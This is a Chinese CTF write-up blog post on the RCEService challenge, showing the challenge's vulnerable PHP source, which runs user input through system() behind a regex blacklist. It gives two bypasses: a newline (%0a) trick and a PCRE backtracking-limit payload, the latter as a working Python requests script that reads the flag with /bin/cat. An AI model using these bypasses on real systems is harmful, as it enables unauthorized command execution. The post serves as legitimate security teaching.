PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
将PHP作为Shell脚本语言使用
Oct 09 PHP
第十四节--命名空间
Nov 16 PHP
服务器端解压缩zip的脚本
Dec 22 PHP
15种PHP Encoder的比较
Apr 17 PHP
php提交表单时判断 if($_POST[submit])与 if(isset($_POST[submit])) 的区别
Feb 08 PHP
php数组相加 array(“a”)+array(“b”)结果还是array(“a”)
Sep 19 PHP
浅谈Eclipse PDT调试PHP程序
Jun 09 PHP
Yii框架中 find findAll 查找出制定的字段的方法对比
Sep 10 PHP
php取得字符串首字母的方法
Mar 25 PHP
Smarty foreach控制循环次数的一些方法
Jul 01 PHP
Laravel 手动开关 Eloquent 修改器的操作方法
Dec 30 PHP
tp5.1 框架查询表达式用法详解
May 25 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
PHP图片上传类带图片显示
2006/11/25 PHP
PHP中怎样防止SQL注入分析
2014/10/23 PHP
DWZ+ThinkPHP开发时遇到的问题分析
2016/12/12 PHP
PHP实现的观察者模式实例
2017/06/21 PHP
php 使用ActiveMQ发送消息,与处理消息操作示例
2020/02/23 PHP
document.getElementById为空或不是对象的解决方法
2010/01/24 Javascript
Javascript中With语句用法实例
2015/05/14 Javascript
探究Javascript模板引擎mustache.js使用方法
2016/01/26 Javascript
jquery 无限极下拉菜单的简单实例(精简浓缩版)
2016/05/31 Javascript
ES6中Promise的使用方法实例总结
2020/02/18 Javascript
[04:31]2016国际邀请赛中国区预选赛妖精采访
2016/06/27 DOTA
[01:01:29]2018DOTA2亚洲邀请赛 4.4 淘汰赛 VP vs Liquid 第一场
2018/04/05 DOTA
python 类详解及简单实例
2017/03/24 Python
python设置值及NaN值处理方法
2018/07/03 Python
Python实现的调用C语言函数功能简单实例
2019/03/13 Python
Python OpenCV 使用滑动条来调整函数参数的方法
2019/07/08 Python
通过PHP与Python代码对比的语法差异详解
2019/07/10 Python
Python高级编程之消息队列(Queue)与进程池(Pool)实例详解
2019/11/01 Python
使用Tensorflow实现可视化中间层和卷积层
2020/01/24 Python
python在地图上画比例的实例详解
2020/11/13 Python
通过Python pyecharts输出保存图片代码实例
2020/11/25 Python
使用Python制作一个数据预处理小工具(多种操作一键完成)
2021/02/07 Python
HTML5 本地存储和内容按需加载的思路和方法
2011/04/07 HTML / CSS
Html5插件教程之添加浏览器放大镜效果的商品橱窗
2016/01/07 HTML / CSS
html5生成柱状图(条形图)效果的实例代码
2016/03/25 HTML / CSS
瑞士领先的网上超市:LeShop.ch
2018/11/14 全球购物
超级搞笑检讨书
2014/01/15 职场文书
教师研修随笔感言
2014/01/23 职场文书
公司联欢晚会主持词
2014/03/22 职场文书
第一书记观后感
2015/06/08 职场文书
发言稿之优秀教师篇
2019/09/26 职场文书
pandas提升计算效率的一些方法汇总
2021/05/30 Python
golang中字符串MD5生成方式总结
2021/07/04 Golang
python库sklearn常用操作
2021/08/23 Python
SpringBoot中使用Redis作为全局锁示例过程
2022/03/24 Java/Android
方法汇总:Python 安装第三方库常用
2022/04/26 Python